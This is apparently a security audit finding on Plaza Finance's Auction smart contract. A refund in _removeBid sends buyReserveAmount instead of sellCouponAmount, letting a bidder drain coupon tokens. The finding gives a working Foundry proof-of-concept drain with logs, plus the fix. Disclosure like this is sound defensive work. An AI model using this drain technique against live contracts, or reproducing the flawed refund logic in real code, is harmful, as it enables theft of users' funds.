A malicious bidder could drain the Auction contract
Description
Bidders can use coupon tokens through the Auction contract to purchase the underlying pool assets. When bidders place a bid, they will send sellCouponAmount
amount of coupon tokens to the Auction contract. If the number of bids exceeds the maxBids
or if the total amount of coupon tokens paid by bidders is greater than totalBuyCouponAmount
, the contract will remove some low-priced bids and return the coupon tokens paid to the bidder.
function bid(uint256 buyReserveAmount, uint256 sellCouponAmount) external auctionActive returns(uint256) {
// [...]
// Transfer buy tokens to contract
! IERC20(buyCouponToken).transferFrom(msg.sender, address(this), sellCouponAmount);
Bid memory newBid = Bid({
bidder: msg.sender,
buyReserveAmount: buyReserveAmount,
! sellCouponAmount: sellCouponAmount,
nextBidIndex: 0, // Default to 0, which indicates the end of the list
prevBidIndex: 0, // Default to 0, which indicates the start of the list
claimed: false
});
// [...]
}
The Auction contract uses the function _removeBid
to remove a bid, which will transfer buyReserveAmount
amount of coupon tokens to the bidder instead of sellCouponAmount
.
function _removeBid(uint256 bidIndex) internal {
Bid storage bidToRemove = bids[bidIndex];
// [...]
address bidder = bidToRemove.bidder;
uint256 buyReserveAmount = bidToRemove.buyReserveAmount;
! uint256 sellCouponAmount = bidToRemove.sellCouponAmount;
currentCouponAmount -= sellCouponAmount;
totalSellReserveAmount -= buyReserveAmount;
// Refund the buy tokens for the removed bid
! IERC20(buyCouponToken).transfer(bidder, buyReserveAmount);
// [...]
}
Impact
A malicious bidder could drain coupon tokens in the Auction contract. Here is a possible scenario. Assume the maxBids
is 1,000, and there are 999 bids.
A malicious bidder adds a bid with the lowest price and sets
buyReserveAmount
to the drainable amount.The malicious bidder adds another bid with a higher price to let the Auction contract remove the lowest-price bid.
The Auction contract transfers the drainable amount of coupon tokens to the malicious bidder.
The following proof-of-concept script demonstrates that a malicious bidder could drain the Auction contract:
function testAuditAuctionDrain() public {
vm.prank(governance);
_pool.setAuctionPeriod(10 days);
vm.warp(block.timestamp + 95 days);
_pool.startAuction();
(uint256 currentPeriod,) = _pool.bondToken().globalPool();
address auction = _pool.auctions(currentPeriod);
Auction _auction = Auction(auction);
Token usdc = Token(_pool.couponToken());
// logic from testRemoveManyBids() in Auction.t.sol
uint256 initialBidAmount = 1000;
uint256 initialSellAmount = 25000000000000000000;
// Create 999 bids
for (uint256 i = 0; i < 999; i++) {
address newBidder = address(uint160(i + 1));
vm.startPrank(newBidder);
usdc.mint(newBidder, initialSellAmount);
usdc.approve(address(auction), initialSellAmount);
_auction.bid(initialBidAmount, initialSellAmount);
vm.stopPrank();
}
address attacker = address(0x1337);
vm.startPrank(attacker);
usdc.mint(attacker, initialSellAmount * 3);
usdc.approve(address(auction), initialSellAmount * 3);
console.log("auction usdc balance: ", usdc.balanceOf(address(auction)));
console.log("attacker usdc balance: ", usdc.balanceOf(attacker));
// make lowest bid
uint256 drainableAmount = usdc.balanceOf(address(auction)) + 74999999999999999000; // from execess; (expceted ramaining from other bids removing)
_auction.bid(drainableAmount, initialSellAmount);
// make highest bid
uint256 highBidAmount = 500;
uint256 highSellAmount = initialSellAmount * 2;
_auction.bid(highBidAmount, highSellAmount);
console.log("-----------------after exploit-----------------");
console.log("auction usdc balance: ", usdc.balanceOf(address(auction)));
console.log("attacker usdc balance: ", usdc.balanceOf(attacker));
vm.stopPrank();
}
The following text is the result of the proof-of-concept script:
[PASS] testAuditAuctionDrain() (gas: 500826389)
Logs:
auction usdc balance: 24975000000000000000000
attacker usdc balance: 75000000000000000000
-----------------after exploit-----------------
auction usdc balance: 0
attacker usdc balance: 25049999999999999999000
Recommendations
Change the amount of coupon tokens transferred in the function _removeBid
from buyReserveAmount
to sellCouponAmount
.
Remediation
This issue has been acknowledged by Plaza Finance, and a fix was implemented in commit 08d60707↗.